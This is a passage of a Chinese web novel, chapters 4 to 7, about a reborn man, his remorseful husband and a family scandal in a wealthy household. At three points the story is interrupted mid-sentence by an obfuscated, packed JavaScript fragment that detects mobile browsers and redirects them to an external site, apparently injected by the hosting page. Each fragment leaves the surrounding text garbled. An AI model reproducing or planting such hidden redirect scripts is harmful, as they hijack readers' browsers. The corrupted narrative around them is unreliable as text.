宁衣初还是阖着眼,枕在柔软的枕头上,可有可无地回:“是啊,要死了嘛,病房里只有我一个人,觉得好孤独啊,就想找个人说说话,思来想去好像只有你还会说两句场面话客套一下……幸好你没接到,不然我可太丢脸了,人怎么能一辈子都活得那么失败呢。” 短暂急促的脚步声后,宁衣初被贺适瑕隔着被子抱住了。 贺适瑕不管不顾地死死抱着他,刚才被宁衣初泼水打湿的头发甚至都贴到了宁衣初脸上,宁衣初还嗅到了贺适瑕脖颈间的血腥气。 “对不起……” “对不起……我回来晚了……” “对不起,我那时候想……反正你也不见得想跟我相处,那我赶在你预产期前一个月回家就好,那之前就不要碍你眼了……” “可剧组杀青晚了,我正好迟了那一天……对不起……这辈子不会了,我不会再犯同样的错了,我不会再错过你的任何一次联系……” “对不起,阿宁……” 宁衣初听着他哽咽的懊悔,没什么感觉,甚至无端有点想笑。 “真有这么难过啊?那跟你说件更糟心的事吧。”宁衣初呢喃说,“你猜……上辈子我生下那个孩子,在你死后活到了几岁?” 贺适瑕怔住,过了会儿才回答:“我爸妈对孩子还是很疼爱的……” 从贺适瑕的回答来看,宁衣初确定了,他是真不知道原书剧情的存在,只是比他上辈子多活了三年、多了那三年的详细记忆而已。 宁衣初笑了笑:“你死了之后就不了,他们怪我害了你,恨屋及乌,哪怕那也是你的孩子,他们也不待见他,不想让他留在贺家。” 贺适瑕遍体生寒。 “宁家那边宁则书把孩子接了过去——真是个善良的好人,对吧——因为这个孩子,宁则书机缘巧合碰上了我血缘关系上的亲舅舅,找到了我亲生父母,到此为止,孩子就没用了。” 孩子继续留着,只会给宁则书添麻烦,既让他操心,耽误他时间、妨碍他恋爱,又会分去宁衣初亲生父母的注意力,影响宁则书能获得的利益。 工具人自然应该懂事,别给主角添麻烦。 “宁则书的暗恋者——哦,不是杀你的那个,杀你的凶手当然被抓了——因为嫉妒宁则书的新恋情,也就是我血缘关系上的亲舅舅,所以想要把他也杀了,结果当天我那亲舅舅正好带着孩子出门玩,意外之下孩子没了命,我那亲舅舅倒是还活着。” 毕竟主角攻嘛,怎么也不能死了。 而这个剧情在原书里也是一个虐点,宁则书因为孩子的死万分痛苦、又获得了不少安慰,主角攻也万分痛苦、倍感自责,两人因此陷入分手风波,又是一段狗血剧情。 宁衣初细想着原书剧情,觉得挺好笑。 贺适瑕听他平铺直叙地说完,只觉得喉间血气翻腾,他几乎说不出话来。 因为宁衣初没有否认,所以贺适瑕仍然以为,宁衣初是在上辈子死后,以魂魄的形态看完了后来的事。 就那么无能为力地看着,看着自己用命换来的孩子被讨厌的人养着,成为别人相识的桥梁,看着自己的亲生父母和亲舅舅对宁则书和颜悦色甚至疼爱有加,看着自己的孩子死掉……得多疼呢。 贺适瑕静静抱着宁衣初:“……对不起。” 宁衣初嫌他烦:“那你去死。” 贺适瑕抱歉地回:“现在还不行……安排手术,查酒店那次的真相,除此之外,还有什么需要我马上去做的吗?” 宁衣初睁开眼,挑了下眉:“有,把你的资产都给我,全部。” 贺适瑕笑道:“好,那以后你得给我发零花钱。” 宁衣初: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695976|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “滚。” 贺适瑕起身,亲了亲宁衣初鬓边的头发,然后给他掖好被子:“睡吧。” 宁衣初拉上被子蒙住了头。 可能是这个晚上心情起伏太大、心绪太过震荡,宁衣初睡着后,浑浑噩噩做了些光怪陆离的梦,然后开始发烧。 贺适瑕出了卧房,到卫生间收拾了下一身湿淋淋的狼狈,换了身睡衣,然后打内线电话给贺家的家庭医生,麻烦对方送了纱布和碘伏过来,处理了脖颈上的咬伤。 然后他坐在客厅的沙发上,盯着卧房房门久久未动。 直到天将明时,贺适瑕回过神。 他侧头看了眼窗外的晨光,突然觉得心头很慌,好像卧房里的人只是他做了一场胆大包天的美梦,推开门会发现床上并没有人,仍然只有冰冷的空气。 贺适瑕匆匆起身,走到卧房门口,深呼吸了几下,才小心翼翼压下门把手。 屋里很安静,听不见另一个人的呼吸声,贺适瑕心头一跳,往里走了几步,看到床上的起伏,才松了口气。 他继续往窗边走了几步,想要把窗帘拉上,免得待会儿日光太盛,影响了宁衣初安睡。 拉窗帘前,贺适瑕回头看了眼床上的人,接着就发现宁衣初脸上红润得不正常,唇瓣也显得有几分干燥。 “阿宁……”贺适瑕惊慌失声。 宁衣初这一病,浑浑噩噩睡了两天,期间偶尔睁开过眼,但面前景象如过眼云烟,没在他脑子里留下实在的印象,他就又昏睡过去了。 再醒过来时,他才有了恍如隔世的感觉,在自己已经重生了的认知中一身轻松。 贺适瑕这几天担惊受怕地守在床边,瞧着倒是有几分憔悴。 见宁衣初终于完全退烧、清醒了,贺适瑕小心翼翼开口,好像声音稍微大点,就会震碎面前的玉人。 “阿宁……你现在感觉怎么样?” 宁衣初喉咙有些干哑,小口小口喝了大半杯水,才感觉好些。 他被贺适瑕扶着坐起来,靠在床头,看着窗户的方向。 见状,贺适瑕走上前去,慢慢拉开了窗帘。 外面的阳光洒进来,宁衣初闭了闭眼,然后说:“我饿了。” 贺适瑕松了口气:“好,我让人送吃的上来,你刚病好,只能先吃点清淡……” “不,我要自己下楼去吃。”宁衣初说。 贺适瑕犹豫了下:“……好,我帮你换身衣服,好吗?” 宁衣初注意到了他的反应:“怎么,我很见不得人,不该出门?” “不是。”贺适瑕一秒没敢耽误地否认,又实话实说道,“只是……因为我脖颈和脸上的伤,还有这两天在整理资产清单,涉及到了贺氏的股份,股份赠与绕不开董事会,家里其他人已经知道了我要把股份给你的事,这两天吵得厉害,我怕见了他们,影响你心情。” 5. 第 5 章 重生回来那晚,宁衣初两次咬破了贺适瑕的脖颈,让他伤上加伤,两三天时间好不了。九月初的天气,也不方便用高领或者围巾遮住脖子,伤势自然是被贺家其他人看见了。 而贺适瑕脸上眉骨处,此时还能看见半青半紫的一小块瘀伤,也是那晚被宁衣初用水杯砸中导致的。 宁衣初刚才就看见了,懒得过问而已。 他此时微微一怔,想起自己睡前狮子大开口的话,没想到贺适瑕那随口一答应,居然好像是认真的? 但东西还没到手,宁衣初谨慎地没表态:“不关我的事。” 贺适瑕还是说“好”,然后去给宁衣初拿了身衣服。 刚搬进来,宁衣初病倒前还没来得及收拾行李,只是把行李箱放到了卧室相连的更衣间里,这两天贺适瑕也没帮他收拾出来,这会儿还是直接从行李箱里取的衣服。 “阿宁,我们搬出去住,好不好?”贺适瑕拿着衣服回来,突然说。 宁衣初蹙眉:“你能不能消停点?马上就要离婚了,搬来搬去有病吗。” 贺适瑕看着他不耐烦的眉眼,想起上辈子录完节目后,宁衣初在回程的车上犯困睡着了,被他叫醒时,半梦半醒地突然说:“我不想住在贺家。” 那时贺适瑕也没多问,只愣了下,然后回答道:“也行,我另外安排房子,你可以选一处你喜欢的地方。” 贺适瑕的未尽之意是,他会和他一起搬。 但贺适瑕没有明说,宁衣初在过去的人生里受够了自作多情自讨没趣,便下意识以为贺适瑕的意思是单独给他安排住处。 所以上辈子的宁衣初最终说算了。 在那个节点搬出贺家,肯定会被认为是他被赶出去的,他不想再让人觉得他又被嫌弃地抛弃了…… 贺适瑕听他说算了,便以为他还是觉得住在贺家老宅更有面子、更有机会接触到贺氏,也就没再提搬走的事。 当时他们之间的关系很诡异,毫不亲近,但也谈不上剑拔弩张。 其实,除了结婚最初,贺适瑕因为宁衣初之前割腕以死相逼的行为,恼怒他不择手段到了连命都能拿来赌,所以说过几句重话之外,他们俩之间绝大部分时候都是彼此很客气的,客气得很疏离。 这辈子回忆起来,贺适瑕想,宁衣初当初割腕,应当不是手段,他是真的曾经灰心丧气到绝望,然而濒死时生存的意志占了上风,所以下意识求救而已。 可他的求救也被冤屈成了不择手段……他委屈了一辈子,如今不再愿意对旁人展露半点和颜悦色,也是旁人活该。 他贺适瑕也活该。 凭什么他想弥补,宁衣初就要接受,就要陪着他继续这段婚姻呢? “抱歉。”贺适瑕轻声道,然后把衣物放到了宁衣初手边,“你刚醒,力气还没恢复,我帮你换衣服,好吗?” 宁衣初看着贺适瑕颈侧的纱布,略一歪头,突然说:“要是你上辈子也是这样,哪怕只有十分之一表现出来,我也一定会无法自拔地爱上你的。不过我疑心重,大概是会一边怀疑一边沉沦吧。” 贺适瑕指尖一颤。 “可是上辈子这时候的你太吝啬,这辈子我已经不需要了。”宁衣初笑了下,“人死过一次,就不会再想那么些有的没的了。什么亲情爱情友情,都没有我自己活着重要。” 贺适瑕咽下喉间的郁结,点了点头,轻声说:“应该的。” 宁衣初:“所以我也不信,同样死过一次的你,会觉得我比你自己的命重要……别装情圣了,贺影帝,看着累。” 贺适瑕没有回答。 宁衣初刚醒,确实浑身乏力,也懒得矫情,任由贺适瑕帮他换下睡衣穿衣服了,反正他俩又不是没坦诚相见过,而且他身上的睡衣已经不是睡前那身,应该是贺适瑕在他病中帮他换过。 贺适瑕轻手轻脚给宁衣初穿衣服,突然开口,续上了刚才的话题:“有的执念,死过一次就想开了、放下了。比如你上辈子争强好胜之余,看似尖锐,其实很在乎别人对你的看法,很看重感情。” 宁衣初也没否认,只是嗤笑了声:“是啊,缺爱嘛。” 贺适瑕垂眼:“但有的执念,死过一次后看得更清楚了,有了重来一次的机会,只会更加牵肠挂肚、难以释怀。比如我对你的感情……上辈子太自以为是,太高高在上,错过了才知道后悔,这辈子倒也没脸指望你原谅我、接受我,只是……阿宁,我知道你不信,但我这辈子只想为你而活。” 宁衣初头回听这种话,觉得挺新鲜,索性收了冷脸,饶有兴致地看着贺适瑕。 贺适瑕看着他的眼睛,轻声说:“你想我怎么做都可以,只要你是痛快的。” 宁衣初灵光一闪:“那你出轨吧,我带记者去捉奸,这样离婚的时候大家都知道是因为你行为不检了。” “这个不可以。”贺适瑕当即道。 宁衣初:“没意思。” 贺适瑕笑了笑:“伴侣出轨,对你来说也不是很有脸的事吧,怎么会想到这种主意?” “你没脸我就痛快了,你不是要我痛快吗?”宁衣初反唇相讥。 如今九月初,天气尚带余热,但宁衣初体弱畏寒,贺家老宅内部又到处开着冷气,所以贺适瑕还帮宁衣初拿了件薄外套。 这会儿他帮宁衣初穿外套,靠得有些近,嗓音越发温和:“希望我名声坏一些吗?有很多法子的,除了出轨和杀人越货,我都可以配合。” 宁衣初顺手抓住贺适瑕的领口,微微仰头:“你脖子上的伤,怎么解释的?” 贺适瑕问:“你想怎么解释?” “说你想要强|奸|我,我为了反抗自卫弄伤了你,才让你停下来,结果我还是被你吓病了,怎么样?”宁衣初好整以暇。 贺适瑕又笑了笑:“好啊。不过你可得包庇我,不能报警。” 宁衣初松开他的领口:“没劲。” 贺适瑕忍不住摸了下宁衣初的头:“我抱你下楼?” 宁衣初推开他:“不用急着盼我残废。” 贺适瑕站在床边,看着宁衣初侧身下床、穿上拖鞋。 “这么伶牙俐齿,上辈子憋坏了吧?”贺适瑕心疼道。 宁衣初被他的语气弄得起鸡皮疙瘩:“能别矫情吗?” 说完这话,宁衣初想要起身,结果刚站起来就腿上乏力一软,又摔回了床上。 更来气了,宁衣初忍不住低骂了声:“去死……” 贺适瑕伸出来想要扶他的手又默默缩回去:“骂别人去死就行了,当口头禅稍微有点不好,要不避谶一下?” 宁衣初:“……抱我出去。” 贺适瑕温声说:“我的荣幸。” 贺适瑕“发疯”,要把手里贺氏的股份赠与给宁衣初,而且据说除此之外其他资产也是,贺家人因此都挺焦虑。 偏偏这几天贺适瑕除了让人整理资产之外,就只待在房间里照顾生病的宁衣初,也不跟其他人交流,他爸妈出面都没法让他匀出点时间来交谈,贺家人没辙,只能都待在老宅里等着看动向。 这是贺家人头一次个个都在“关心”宁衣初的病情,巴不得他能早点醒,让贺适瑕可以分出神来好好说清楚股份的事。 “适瑕他到底怎么回事?” 此时楼下,除了去贺氏处理工作的贺适瑕他爸妈之外,贺家其他人都在家,正聚在一起用下午茶。 贺家人丁,单看构成的话,是比宁家简单许多的——贺适瑕的祖父母尚在,贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695977|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祖母和入赘的贺祖父只有一儿一女,长子就是贺适瑕的舅舅,小女儿就是贺适瑕的母亲。 贺适瑕的舅舅至今未婚,但一共有六个生母各不同的私生子女,正好凑了三男三女。 贺适瑕的父亲入赘,和贺适瑕的母亲只有贺适瑕这个独子。 这会儿挑起话头的这人,是贺适瑕他舅舅贺定邦的第三个儿子贺如林。 虽然说是下午茶,但贺如林手里端的是酒杯。 他晃着酒,慢悠悠说:“之前也没看出来他这么喜欢宁衣初啊。” 贺如林的大姐贺如雪笑了声:“可不是吗,我还以为他真是被逼着结婚的呢,结果好像不是那么回事啊,怪得很。” “他喜不喜欢宁衣初都不打紧,反正他们现在已经结婚了,爱怎么闹怎么闹,但拿家里的股份闹就不合适了吧。”老四贺如月说着,看了眼坐在主位的贺家祖母。 贺祖母和贺祖父都没吭声。 贺定邦也笑:“虽说股份在适瑕手里,归他安排,但确实不大合适啊,维安和青山不也这样觉得吗。妈,爸,你们做祖父祖母的,也不能一直不跟适瑕表态啊。” 贺维安,贺适瑕的母亲。唐青山,贺适瑕的父亲。 “谁知道六哥在想些什么,姑姑姑父可是六哥的亲爹妈,都问不出来……六哥有那么古板吗?结了婚不管喜不喜欢,都要把所有钱都交给‘老婆’管?”贺家目前这一辈最小的、也是贺定邦的第六个儿子贺如竹嘀咕说。 虽然是贺定邦的第六个儿子,但贺家所有孙辈拉开排序,贺如竹排第七,第六就是贺适瑕。 老五贺如风乐道:“这不叫古板,这摆明是有病!” “如风。”贺祖母点了她一声。 贺祖母在家里仍是主事人,入赘的贺祖父越不过她去,而贺家如今的孙辈里,贺祖母最喜欢长孙女贺如雪,以及女儿女婿这个独子贺适瑕。 贺定邦知道自己母亲疼爱贺适瑕,打岔道:“如风也不是骂适瑕的意思,就是……适瑕这举动,确实有点难理解。” 贺定邦一脸关爱小辈的操心模样,说:“那宁衣初怎么进的咱们贺家,大家都知道,本来适瑕之前不跟他签婚前协议,我就觉得不合适。现在好了,他们俩才结婚没两天,适瑕不仅要把他手里其他资产给他,连股权都要赠与转让,这实在是让人放不下心啊……适瑕不会是一时心软,被宁衣初拿什么话骗了吧?” “爸,你当适瑕是你啊,滚上床了就失智,什么都能答应,就算是你也没蠢到答应给全副身家吧。”贺如林接了句。 成功把他亲爹气得脸色都涨红了:“混账东西!有你这么跟你爸说话的吗!” 贺如林:“我这不就是吗……也不知道宁衣初这病怎么样了,我可真是担心他肚子里的孩子会不会受影响。” 老四贺如月幽幽说:“这么关心,他肚子里的孩子难道是你的?” 贺如林噗嗤乐道:“你别说,宁衣初要是早答应上我的床,那他先怀上谁的孩子还真不一定。不过可惜,人家眼光比较高,瞧不上我这主动伸的橄榄枝,宁愿自己攀个更高的,还真让他攀上了,瞧瞧,这不股份都快到手了吗?” “行了,越说越不像话!”贺祖母不悦道,“不论如何,那都是适瑕如今的另一半,如林你说这种不干不净的话像什么样!” “别生气嘛,祖母。”贺如林喝了口酒,“我喝多了,胡说的。” 贺如月吃了口甜点,突然道:“适瑕是不是拿股份钓着他老婆呢?不至于蠢到真把股份给他吧。只是这几天宁衣初都没醒,做戏争执也没人看,他才没跟我们交代,等宁衣初醒了,我们当着他的面阻拦适瑕,他大概也就顺坡下、停了这事了,毕竟宁衣初还好意思真收股份不成?” 6. 第 6 章 “问题是六哥没必要这样做戏啊。”年纪最小的贺如竹一针见血,也说明了众人对宁衣初的态度,“不过一个宁衣初,六哥干嘛兴师动众这样做戏?” “祖母,您真不管啊?您说话,适瑕肯定要听的。”老二贺如松说,“不管他是怎么想的,这股份真不能拿来闹着玩。” “其实这事儿也和我们几个没太大关系,孙辈里面,也就大姐和适瑕在成年的时候分到了股份,我们剩下几个手里空荡荡的,连我们几个的亲爹、您和祖父的亲儿子手里都没有,适瑕就算不把股份给别人,我们几个也分不着。” “现在这么上心,也都是为了咱们贺家考虑,股权所有人变动可不是小事,太儿戏了光是说出来就不像话,何况这股份给出去了可就收不回来了,正儿八经结婚进咱们贺家的都没这么容易拿到,何况是宁衣初这使了阴损手段的。您说呢?” 贺如松苦口婆心。 他弟贺如林搁旁边拆台:“哎,二哥,都一家人就别这么虚伪了,我就还挺想要股份的,不为了股份我坐这耽误什么时间。” 贺如松表情一扭曲:“你……是,就你坦荡!” 贺如林耸了耸肩:“适瑕跟宁衣初迟早闹掰,他要是真现在犯糊涂把股份给了,那咱们家可损失大了。虽然确实吧,股份在适瑕手里,我们也没太大机会分到,但总归还在贺家人手里,多点机会嘛。” “我呢,倒不是说不想多要,那确实太假了。”手里也有股份的贺如雪和气地开口,“不过想归想,自知之明还是有的。我也确实没盼过适瑕手里的,那是他的,没道理落到我们平辈手里,尤其是他马上会有自己的孩子了。” “他愿意把股份赠与给合法伴侣,董事会那边也挑不出理来,流程是没问题的,可问题是不能开这个头啊。” 贺如雪娓娓道来,说话比贺如松从容,比贺如林正经。 “咱们贺氏如今姑姑姑父是当家,将来他们手里的东西,肯定是留给适瑕这个独子的,虽说都是贺家人,但我们这些侄子侄女也没那资格去争。毕竟就算放在古代,宗亲观念重的时候,都得分个家主和旁支呢,没有主支人丁单薄,旁支就觉得自己理应分到东西的道理。” “可问题是,如果现在适瑕能把股份给宁衣初,将来会不会更收不住?咱们贺家是不是得改姓宁了?” 贺如雪的确是贺祖母贺祖父最疼爱的孙女,一下子就说到了重点。 老两口的确也是在担心这方面。 相比于眼下的股份,他们更担心贺适瑕是真的陷进去了,以后会把整个贺家拱手捧给一个外姓人。 就算这个外姓人现在也算贺家人,肚子里揣着贺家的血脉,也不行。 就像入赘的贺祖父,还有贺适瑕他亲爹,虽然随着时间有了一定掌家的权力,但到底不能压过贺祖母和贺维安这个亲生女儿。 不论是贺适瑕的祖父母还是亲爹妈,其实都打着等宁衣初生了孩子,就让他和贺适瑕离婚、老老实实远离贺家的盘算。 至于贺适瑕对宁衣初的态度,原本是不在他们担忧范围内的。 他们如今也满脑门雾水,没弄清楚贺适瑕到底怎么回事,就突然这么态度大变了,跟被夺舍了似的,好像除了宁衣初之外其他人都无所谓了。 众人正说着闲话,突然听到家里的佣人打招呼:“六少爷,呃,宁少爷。” 室外多少有点热气,贺家人是坐在和室内相邻的封闭花厅里吃下午茶,跟大厅方向只隔了几道没关上的玻璃门。 此时回头一看,他们正好瞧见贺适瑕抱着面色苍白的宁衣初走过去,看那方向应该是去餐厅。 贺如林被嘴里的酒呛了一下:“咳咳咳……我看到了什么?宁衣初是被适瑕抱着的?咱们家这是要出先婚后爱大情圣了啊。” 贺祖母愁眉不展地瞪了他一眼,然后放下手里的茶杯,起身道:“我得过去看看。” 其他人自然连忙跟上,老二贺如松落在最后,搀扶着如今年逾八十、腿脚不大便利了的贺祖父。 相比之下,贺祖母就老当益壮许多,她比入赘的贺祖父还大三岁,两年前病重过一次,但病好后仍然健步如飞,此时她步子不慢地走在最前面,倒也不用子孙们太让着速度。 就这么来到餐厅,众人正好瞧见宁衣初将一碗燕窝粥推倒在地。 粥洒落在地面上,餐厅地面没有铺地毯,碗碰上地面瓷砖,也碎开来。 吓了餐厅里的佣人们一跳,然后有人下意识要上前收拾。 “不用。”宁衣初抬头看了眼站在他旁边的贺适瑕,“我闯了祸,你这个合法配偶帮忙收拾烂摊子,应该的吧?” 贺适瑕笑了笑:“当然。” 贺家人和佣人们瞪大了眼睛,就瞧见贺适瑕居然真的不仅不动气,还从佣人手里接过了准备打扫用的毛巾扫把和垃圾桶。 “等等,六少爷,怎么能让您来呢……”佣人连忙回神,想要把工具拿回来。 贺适瑕摇了摇头:“我来就好,本来也是给我的活。你们去厨房,重新给阿宁端点别的吃的来,不要燕窝粥,他不喜欢吃燕窝,也是我忘了提前说了。” 佣人心有余悸,小心翼翼看向坐得好好的宁衣初。 宁衣初一笑:“白粥就行。” “你病刚好,确实暂时只能吃清淡点,但白粥太淡了……厨房里应该一直备有能垫肚子的瘦肉粥,吃这个好吗?”贺适瑕一边收拾地板,一边温声说道。 宁衣初可有可无地应了声。 佣人连忙去端粥了,剩下其他佣人一起走也不太合适,于是尴尬立在原地看着,这才注意到餐厅入口那边站了贺家一堆人。 贺家人表情都挺复杂的。 贺祖母和贺祖父又惊又怒,贺定邦这个舅舅面上惊讶居多,至于贺定邦的六个子女们,也主要是震惊、疑惑和探究。 虽然他们之前都看不上宁衣初,但眼下情景实在太让人意外,他们都顾不上表露对宁衣初个人的反感了。 “这是在闹什么!适瑕,你在做什么!”贺祖母终于回过神来,比刚才更大步子地走进餐厅。 在场年纪最小、热爱上网的贺如竹忍不住跟了句:“六哥你老婆肝火有点旺啊,要不让厨房给他煮碗丝瓜汤吧……” 贺如竹这个称呼,倒是让贺适瑕忍不住弯了下唇角。 宁衣初面无表情。 其他人没懂贺如竹说的烂梗,贺如月幽幽说:“燕窝都不吃,还吃丝瓜汤?小心他把碗扣你脸上。虽然燕窝也不是什么值钱东西。” 贺如竹乐呵呵地接话:“这话不对,燕窝乃华贵之物……” 贺祖父用拐杖敲了敲地板:“你又在胡言乱语什么?我们贺家什么时候落魄到要议论丝瓜和燕窝了,疯言疯语,难怪高考成绩那么离谱!” 贺如竹几个月前刚结束高考,成绩烂得可以直接投放进垃圾桶,贺家为了脸面,自然不能让他按成绩填志愿、留在国内继续读书,已经给他安排了国外的学校,下个月就要出国上大学了。 家境能托底,贺如竹并不在意自己的成绩,但被祖父拿成绩责骂,贺如竹也不大乐意,当即就想辩驳一下。 不过贺祖父没等他回答,就继续看向了贺适瑕,怒其不争地说:“适瑕,起来,收拾地板这种事是你做的吗?你怎么能对别人这么卑躬屈膝!” 贺适瑕静静地收拾地板,头也不回地说:“祖父,打扫卫生算什么卑躬屈膝?还有,这个‘别人’是我领了结婚证的合法伴侣,按遗产继承顺序来说,他是在场跟我关系最亲近的人,你们对他说话要是亲近不起来,那客气点也行,不要这么怪里怪气的。” 贺适瑕这番话,让贺祖父气血上涌。 其他人都瞠目结舌,更加怀疑贺适瑕怕是被夺舍了。 “适瑕,你知不知道你在说什么?你为了一个宁衣初,这样对你祖父说话?”贺定邦不满道,“你是又被他下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695978|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么药不成?” 宁衣初忍俊不禁:“怎么就不能是他自己失心疯了呢?” “闭嘴!这家里轮不着你说话!”贺定邦怒气冲冲。 贺适瑕皱眉:“舅舅!” “都是和贺家没血缘关系的人,怎么舅舅你能说话,我就不能?”宁衣初满脸无辜地反问。 一石激起千层浪,浪落下前是诡异的宁静。 餐厅里一时寂静无声,连贺适瑕都愣住了,反应了下宁衣初话中的意思。 然后,最先回神跳脚的是贺祖父,他抬起拐杖就要朝宁衣初扔过去:“你个混账东西胡说什么!” 贺适瑕连忙起身,挡在宁衣初身前抓住了拐杖:“祖父,您别急。” 贺祖父气得直喘气,脸都涨红了:“贺适瑕!你打定主意为了他六亲不认是不是!” 其他人也七嘴八舌地回神。 贺定邦骂道:“胡说八道!我亲爹是入赘的!我亲妈是贺家人,就算我妈年轻时出轨,我也是贺家血脉!” 他这番话同时激怒亲爹妈两个人。 贺祖父反手就把拐杖往贺定邦身上砸:“你个混球!老子这把年纪了还要被亲儿子嫌弃是入赘的!” 贺祖母满脸匪夷所思和震怒:“贺定邦你个小畜生瞎说什么!什么叫你妈我年轻时出轨?宁衣初你什么意思!你泼脏水泼到我这个老太婆身上来了,宁家就是这么教你尊老敬长的!” 贺如林啧啧称奇:“没道理胡言乱语到这个地步啊,适瑕你到底跟宁衣初他瞎说过什么,他怎么这么理解我们这一家子?” 贺定邦和他的私生子女们,目前为止还没担心自己的血脉问题,正如贺定邦说的,亲爹不好说,亲妈还能确认不了吗,亲妈没错那血脉就没错。 他们下意识认为,要么是宁衣初在瞎扯,要么宁衣初的意思只是确定贺定邦不是贺祖母和贺祖父两人的亲生儿子,那最多指的是和贺祖父没血缘关系,而宁衣初对贺家不熟,一时忘记了贺祖父是入赘的,所以才说成了“和贺家没血缘关系”而已,用不着太担心。 贺适瑕其实也不清楚真相,但他觉得宁衣初不至于抓错概念,索性没发言,只一声不吭地站在宁衣初身边,免得贺家其他人暴怒之余伤到宁衣初。 佣人正好从厨房端了蔬菜瘦肉粥过来,看到餐厅里这剑拔弩张的一幕,一时进退两难,呼吸都放轻了。 贺适瑕对佣人招了招手:“送过来吧。” 佣人这才小心翼翼上前,把放着粥碗和勺子的餐盘放到宁衣初面前,然后赶紧退开了。 虽然很想吃瓜,但还是饭碗比较重要,这种豪门大瓜近距离吃不得。 宁衣初用勺子搅了搅粥,然后抬头对质疑他的贺家人笑道:“好奇怪,你们听不懂人话吗?我不是说了吗,是舅舅和贺家没有血缘关系,也就是说,舅舅不是祖母您的亲生儿子,怎么就成我给祖母您泼脏水了?” 贺祖母猛地皱眉。 其他人也有点懵住。 贺祖父反应又快又激烈:“胡言乱语!该找个精神病院给你看看!” 贺定邦随后回神,骂道:“宁衣初你个小畜生故弄玄虚……” 贺适瑕冷声打断:“祖父,舅舅,你们在说什么?” 贺祖父和贺定邦一噎,但还是继续骂。 “贺适瑕!” “你真觉得这家里你说了算,没人管得了你了是吧!” “没脑子没心肝的混账东西……” 贺祖母倒是稍微冷静了点:“都闭嘴——” 她按下了其他人,才看向挑起了事端,却正在慢条斯理吃粥,好像事不关己的宁衣初。 “你把话说清楚。”贺祖母说,“我自己生没生过这个儿子,你还比我更清楚?” 宁衣初咽下嘴里的粥,抬头一笑:“那还是祖父他老人家比较清楚,当年有没有趁着祖母您刚生完孩子昏睡期间,从外面抱个别的孩子回来调换。” 7. 第 7 章 众人一惊,纷纷看向贺祖父。 贺祖父强装镇定,还是骂宁衣初胡说八道,又对贺祖母说:“你别听他张口就来,简直危言耸听!定邦当然是我们的亲生儿子!” 然而夫妻五六十年,贺祖母要是瞧不出贺祖父此时的心虚,那这把年纪也是白活了,她沉默不语。 见状,贺祖父心下一沉,贺定邦等人也不安起来。 宁衣初不慌不忙好心建议:“那要不去做个亲子鉴定吧?” “你闭嘴!”贺祖父怒道。 贺祖母看了眼餐厅里的佣人,让他们都出去,然后才走到餐桌主座坐下来,看了看心慌的贺定邦,又看向贺祖父:“一件事一件事来。你先说,到底怎么回事?真想闹到做亲子鉴定那一步,让人看笑话?” 贺祖父咬了咬牙,在众人的注视下承认了:“是,定邦是我当年从外面抱了个孩子,跟我们的亲生儿子调换了。” 贺定邦如遭雷劈,往后退了几步。 他的几个子女们也都跟着震惊慌乱——他们本来就是贺定邦年轻时在外面乱玩带回家的私生子女,现在贺定邦都不是贺家人,那他们岂不是更名不正言不顺了? 贺祖母听到答案,手止不住开始发抖。 贺祖父连忙又说:“但是!但是……我也是没办法了啊……” 他抬手抹了把眼睛,才继续说:“阿英啊,我怕你伤心,这么多年都没敢告诉你……其实我们的亲生儿子刚出生就夭折了,你当时生他多艰难啊,我哪敢让你知道,正好有人往医院门口丢了个刚出生的弃婴,医院也发愁不知道该怎么办,我想着那就正好,也是缘分……” 贺祖母浑身一颤,老迈的眼中隐隐含泪。 贺家其他人听出了峰回路转的余地,都忙不迭看着贺祖父。 “那年岁,医院规章都还没那么严格,所以这事儿也就瞒下来了。”贺祖父叹气说,“阿英,我们夫妻这么多年,都这么大把年纪了,我是什么人你清楚啊,我在你面前说过谎吗,敢说谎吗?” “我这么多年除了这件事,没瞒过你半分,我敢对天发誓!现在这件事被姓宁这小混账挑出来,分明就是想挑拨离间,诛心啊!”贺祖父布满皱纹的脸上也是要落泪的神情。 贺定邦这时回神,反应极快,连忙扑到还在发怔的贺祖母腿边。 他抱着贺祖母的腿,哽咽地哭喊:“妈!我不管,您就是我亲妈,我是您和爸养大的,你们为我操了那么多心,不是我亲生父母是什么……我现在都还很懵,怎么我这都五十出头的人了,还要经历这一遭,叫了大半辈子的亲爹妈怎么就突然成了不是亲的……妈,您不会真的不要我了吧?” 贺祖母听得心如刀绞,既为自己那出生后就夭折的亲生儿子,也为贺定邦此生声声催泪的呼喊。 但贺祖母冷静想了想,如果贺祖父说的是真的,那她虽然有气恼,却并不会真的责怪贺祖父,更不会迁怒贺定邦。 